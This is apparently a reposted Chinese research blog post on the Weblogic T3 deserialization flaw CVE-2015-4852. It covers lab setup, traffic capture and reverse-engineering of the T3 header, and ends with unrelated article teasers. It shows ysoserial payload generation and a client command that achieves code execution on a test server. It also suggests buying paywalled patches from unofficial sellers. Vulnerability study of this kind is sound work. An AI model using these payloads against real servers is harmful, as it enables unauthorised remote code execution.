Weblogic安全漫谈(一)

news2024/11/25 6:54:37

前言

@frohoff在2015年初发现commons-collections的反序列化利用链并发布了ysoserial工具[1]。9个月后,@breenmachine对众多知名Java中间件的利用文章[2]使Java反序列化漏洞变得广为人知,Weblogic中首当其冲的就是大家多少都有点耳熟的T3协议反序列化。本篇从CVE-2015-4852入手了解T3协议的构造,作为后续T3反序列化漏洞学习和利用的基础。

环境搭建与补丁定位

Weblogic官网提供无补丁的初始版本下载[3],为了方便后续调试分析可以先把几个大版本的安装包(Generic)、以及某些有较大安全特性变化的JDK准备好。

官方只为付费帐户提供安全补丁的下载权限,但普通账户在高级搜索页面[4]列出对应版本的补丁号与发布时间,结合官方安全公告页的CVE发布时间[5],基本可以让CVE对应上Patch。

有了Patch号可以通过CSDN+某宝积分或者某鱼卖家等等方式下到补丁,Patch详情页里可以看到哈希,有官方原版zip洁癖的同学也可以对一下。

环境搭建时,用WeblogicEnvironment[6]构建不同JDK与Weblogic版本的docker镜像会比较方便,后续也能用容器区分不同的补丁版本。运行前需要参考issues/8改一下Dockerfile,另外就是根据个人需要做适当调整了,比如Weblogic开启的远程调试端口默认为8453(对应IDEA默认的5005)、调整JDK版本等等。

CVE-2015-4852

《攻击JavaRMI概述》[7]中说过JavaRMI机制基于JRMP协议通信,Weblogic有一个与JRMP同类的应用层协议就是T3。T3协议用在Weblogic的这类商用产品当中,协议实现并不开源且没有文档,小编主要靠连蒙带猜和逆向去管中窥豹。

/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh用到了T3协议去停掉Weblogic,在执行前挂上tcpdump -i any -w t3-stop.pcap抓一下数据包。

Java原生序列化流通过十六进制为ac ed 00 05的字节作为开头的标识(黑话管它叫做魔术字节),ysoserial也正是通过原生序列化生成的payload,自然能简单粗暴地想到是不是直接替换就行了,那么要替换掉哪些部分呢?能看出先进行了第一次通信,请求和响应都是可读的ASCII字符,后续的的请求中似乎也没有用到响应的内容。

把第二次请求字节流扒下来反序列化并处理异常后可以发现存在五个Object,因为WebServer每个请求通常会起一个新的线程来处理,不用担心像内核Pwn一样没处理好异常整个系统蹦掉,那么从第一处魔术字节开始替换为payload,后续部分抛掉不管必然会报错,但问题不大,将原本第二次请求的A + Serial + B + Serial + ...改成A + Payload

构造如下脚本用作发送payload的客户端,它好比航天发射场组装火箭后打出去,payload就是火箭里用于开展科学实验的载荷。

那么问题来了,首先是为什么要先经过第一次通信交互(t3Bootstrap)。我们大家都知道在黑盒打不通的时候通常都是打不通的,对此小编也感到很惊讶,将payload硬莽过去只会得不到响应。这就如同需要用火箭将实验载荷送到预定轨道一样。

第二个问题是payload前加上的那些字节数据是干嘛的,即火箭为什么要设计构建成这样?自然是为了让载荷顺利进入预定轨道。相信有的同学想喷我了,这里看似相互解释了实则什么都没解释,如果前面还能从没响应的现象下手企图蒙混过关,但这里不啃代码是圆不过去了。

我知道你很急,但你先别急。我们先来看看稍微简单一点的第三个问题,即payload用什么?要使用ysoserial生成的CC链就需要看目标环境有没有相应依赖,快速但不准确的方法是直接找有没有Jar包。

# find /u01/ -name "*commons*collections*.jar"
/u01/app/oracle/middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
  • 为了更精确定位则可以采用META-INF等信息判断版本、运行时相应上下文能否调到关键类等等方法。

如此我们便能利用这个祖师爷漏洞,对着周朝出土的Weblogic一顿RCE了:

java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > /tmp/poc.ser

python3 t3client.py 127.0.0.1 7001 /tmp/poc.ser

# ls -al /tmp/ | grep 'pwned'
-rw-r----- 1 root root    0 Feb 17 17:18 pwned

逆向T3协议头

图片

猜测关键词暴力搜索后,找到第一次交互时响应数据的来源。下断点得到调用栈:

connectReplyOK:160, Login (weblogic.socket)
readBootstrapMessage:189, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:323, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
dispatch:185, MuxableSocketDiscriminator (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

 

 MuxableSocketT3#dispatch方法根据bootstrapped来判断连接是否经readBootstrapMessage方法初始化过,解析提取的就是上文首次通信时发给服务端的数据。(这是10.3.6.0的位置,12.2.1.3在com.oracle.weblogic.rjvm.jarweblogic/rjvm/t3/MuxableSocketT3#readIncomingConnectionBootstrapMessage

 

MuxableSocketDiscriminator#dispatch方法根据协议名将请求分配给HTTP、T3等不同处理类,以此实现端口复用。

图片

再将断点下在ObjectInputStream#readObject并得到第二次请求时的调用栈:

readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

数据由MsgAbbrevInputStream#init调用各个方法解析。先看super.init(chunk, 4),最终前4字节被skip掉:

图片

这4个字节其实就是EXP中的chunkLength,表示包括自己在内的这段Header的字节长度,可以偷懒直接赋0。

继续看到readHeader方法中存在大量标识数据:

图片

cmd字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage类中的变量名看出:

 static final byte CMD_UNDEFINED = 0;
    static final byte CMD_IDENTIFY_REQUEST = 1;
    static final byte CMD_IDENTIFY_RESPONSE = 2;
    static final byte CMD_REQUEST_CLOSE = 11;
    static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12;
    static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13;
    static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9;
    static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10;
    static final byte CMD_PEER_GONE = 3;
    static final byte CMD_ONE_WAY = 4;
    static final byte CMD_REQUEST = 5;
    static final byte CMD_RESPONSE = 6;
    static final byte CMD_ERROR_RESPONSE = 7;
    static final byte CMD_INTERNAL = 8;

没猜到QOS字节的含义,类初始化时被赋为十进制101,所以EXP同样用了这个值。

flags字节从后面getFlag方法可以看出用来从二进制位控制hasJVMIDshasTXhasTrace(类比Linux的rwx权限与777)。

responseId字节用于标识通信顺序、invokeableId字节用于标识被调用的方法,目前用不到置为初始值-1。

abbrevOffset字节顾名思义是abbrev的偏移长度,表示Header结尾处 相距 后面字节流MsgAbbrevs部分的距离,在init方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。

读完Header部分继续进入到readMsgAbbrevs方法中,会调用InboundMsgAbbrev#read方法:

length就是EXP中的countLength,可以看到这个值对应for循环的次数。

length2就是EXP中的capacityLengthbubblingAbbrever.getCapacity()拿到的就是第一次请求中的AS,要设置得比它大才会进入readObeject分支。

最后进入重写的有参readObject中,msgAbbrevInputStream.read()读到的字节是十进制0时进入无参readObject。但ServerChannelInputStream没有重写无参readObject,所以最终进到父类ObjectInputStreamreadObject衔接上CC链。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1350176.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法训练营Day34(贪心算法)

1005.K次取反后最大化的数组和 1005. K 次取反后最大化的数组和 - 力扣&#xff08;LeetCode&#xff09; 秒了 class Solution {public int largestSumAfterKNegations(int[] nums, int k) {Arrays.sort(nums);// -4 -3 -2 -1 5//-2 -2 0 2 5int last -1;for(int i 0;i<…

VS Code 远程连接云机器训练配置

VS Code 远程连接云机器 Visual Studio Code&#xff08;以下简称 VS Code&#xff09;是一个由微软开发的代码编辑器。VS Code 支持代码补全、代码片段、代码重构、Git 版本控制等功能。 安装 VSCode步骤简单且网上有很多教程&#xff0c;这里不过多重复了。 VS Code 现已支…

如何使用批量重命名技巧:将文件名称中文翻译成英文

在日常生活和工作中&#xff0c;经常要处理大量的文件&#xff0c;其中很多文件的名称是中文的。有时&#xff0c;要更好地与国际接轨或是满足特定的需求&#xff0c;要将这些中文文件名称翻译成英文。一个一个手动翻译不仅效率低下&#xff0c;而且容易出错。此时&#xff0c;…

深度学习|10.2 边缘检测示例 10.3 更多边缘检测

文章目录 如何在编程中实现卷积运算使用卷积实现边缘检测结果矩阵的元素正负性质的意义水平分类器如何构造卷积运算使用的矩阵 原矩阵通过一个过滤器&#xff08;filter&#xff09;/核心&#xff08;kernel&#xff09;来生成一个新的矩阵。 如何在编程中实现卷积运算 使用卷积…

如何基于 ESP32-S3 和 ESP32-H2 产品构建 WiFi +Thread 边界路由器?

参考文档&#xff1a; Building the images for ESP Thread Border Router and CLI device and forming a Thread network with the devices 硬件准备&#xff1a; ESP32-S3-DevKitC-1ESP32-H2-DevKitM-1 软件准备&#xff1a; esp-idf/ examples/ openthread/ ot_rcp&#x…

AD教程 (二十二) Class、设计参数、规则的创建

AD教程 (二十二) Class、设计参数、规则的创建 CLASS 对于我们的板子需要去区分电源和信号按N&#xff0c;点击隐藏连接&#xff0c;全部&#xff0c;显示飞线&#xff0c;哪一些线是电源走线&#xff0c;哪一些线是信号传输走线&#xff0c;需要我们进行区分&#xff0c;这就…

MAC电脑安装java开发工具

一、安装brew 1.1、官网地址 链接 1.2、更新地址 二、安装 java brew install openjdk11 三、安装gradle Gradle安装与配置教程 - 知乎 四、GIT 4.1、GIT安装 brew install git 4.2、rsa ssh-keygen -t rsa -C "jhestarbucks.com" 五、自动搭建一个springBoot…

idea中java maven程序打JAR包的方式

JAR包是一种文件格式&#xff0c;用于将Java类、资源和元数据打包到一个文件中。它通常用于将Java库、应用程序或模块分发给其他开发人员或部署到不同的环境中。JAR包可以包含许多不同类型的文件&#xff0c;包括.class文件&#xff08;编译后的Java类&#xff09;、.java文件&…

【计算机毕业设计】SSM电器商城系统

项目介绍 本项目分为前后台&#xff0c;前台为普通用户登录&#xff0c;后台为管理员登录&#xff1b; 管理员角色包含以下功能&#xff1a; 管理员登录,销售统计,商品类目管理,用户管理,商品管理,订单管理,公告管理,留言管理等功能。 用户角色包含以下功能&#xff1a; 浏…

OpenCV-Python(22):直方图反向投影

引言 直方图反向投影是一种基于图像颜色分布的图像处理技术&#xff0c;它通过计算图像中不同区域的颜色直方图&#xff0c;并将其与目标区域的直方图进行比较&#xff0c;从而实现目标的识别和分割。本文将介绍直方图反向投影的原理和应用&#xff0c;并探讨其在计算机视觉任务…

服务器被入侵后如何查询连接IP以及防护措施

目前越来越多的服务器被入侵&#xff0c;以及攻击事件频频的发生&#xff0c;像数据被窃取&#xff0c;数据库被篡改&#xff0c;网站被强制跳转到恶意网站上&#xff0c;网站在百度的快照被劫持等等的攻击症状层出不穷&#xff0c;在这些问题中&#xff0c;如何有效、准确地追…

Java学习苦旅(十七)——栈和队列

本篇博客将详细讲解Java中的栈和队列。 文章目录 栈概念Java中Stack常用方法代码实现 队列概念队列常用方法对比QueueDeque 代码实现Queue 结尾 栈 概念 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一…

Codeium在IDEA里的3个坑

转载自Codeium在IDEA里的3个坑&#xff1a;无法log in&#xff0c;downloading language server和中文乱码_downloading codeium language server...-CSDN博客文章浏览阅读1.7w次&#xff0c;点赞26次&#xff0c;收藏47次。Codeium安装IDEA插件的3个常见坑_downloading codeiu…

基于ssm鲜花销售管理系统

&#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;项目介绍 随着科学技术的飞速发展…

【Linux常用指令】用户管理

文章目录 Linux系统目录结构Linux用户和用户组用户管理概述用户账号和用户组用户概念用户组概念 Linux用户和组的关系 Linux用户管理添加用户 useradd选项修改用户 usermod用户账号口令管理passwd删除用户 userdel Linux用户组管理添加新组groupadd修改群组groupmod删除群组gro…

2024史上最全的 iOS 各种测试工具集锦!

引言&#xff1a; 随着移动互联网的兴起&#xff0c;APP 测试的越来越被重视&#xff01;Android 系统因为自己的开源性&#xff0c;测试工具和测试方法比较广为流传&#xff0c;但是 iOS 系统的私密性&#xff0c;导致很多测试的执行都有点麻烦。 为了帮助大家更好的执行 iO…

Sectigo和Certum的区别

为了保护用户在互联网的隐私&#xff0c;网站使用SSL数字证书为http明文传输协议加上安全套接层&#xff0c;对网站传输数据加密。Sectigo和Certum是正规的CA认证机构&#xff0c;它们颁发的SSL证书经过市场认证&#xff0c;已经兼容大多数浏览器以及终端&#xff0c;今天就随S…

【MATLAB】【数字信号处理】线性卷积和抽样定理

已知有限长序列&#xff1a;xk1,2,1,1,0,-3, hk[1,-1,1] , 计算离散卷积和ykxk*h(k) 。 程序如下&#xff1a; function [t,x] My_conv(x1,x2,t1,t2,dt) %文件名与函数名对应 %自写的卷积函数 x conv(x1,x2)*dt; t0 t1(1) t2(1); L length(x1) length(x2)-2; t t0:dt…

提取ROS bag文件中LiDAR点云数据为pcd格式

这段代码是用于从ROS bag文件中提取LiDAR点云数据并保存为PCD格式的。 1. 命令行 rosrun pcl_ros bag_to_pcd 2022-04-21-21-02-29.bag /rslidar_points_32 lidar_points_80_lines 详细解释如下: 1. rosrun pcl_ros bag_to_pcd 这是运行一个ROS节点bag_to_pcd,它来自pcl_r…

使用selenium定位csdn主页的收藏夹文章(含完整Python代码)

目录 前提&#xff1a;准备好流程 第一步 导包 代码 第三方库的下载流程 第二步 设置谷歌浏览器及要打开的网页 第三步 定位元素 代码 元素定位方法 前提&#xff1a;准备好流程 第一步 导包 这里需要提前下载好第三方库&#xff1a;selenium&#xff0c;time。代码及…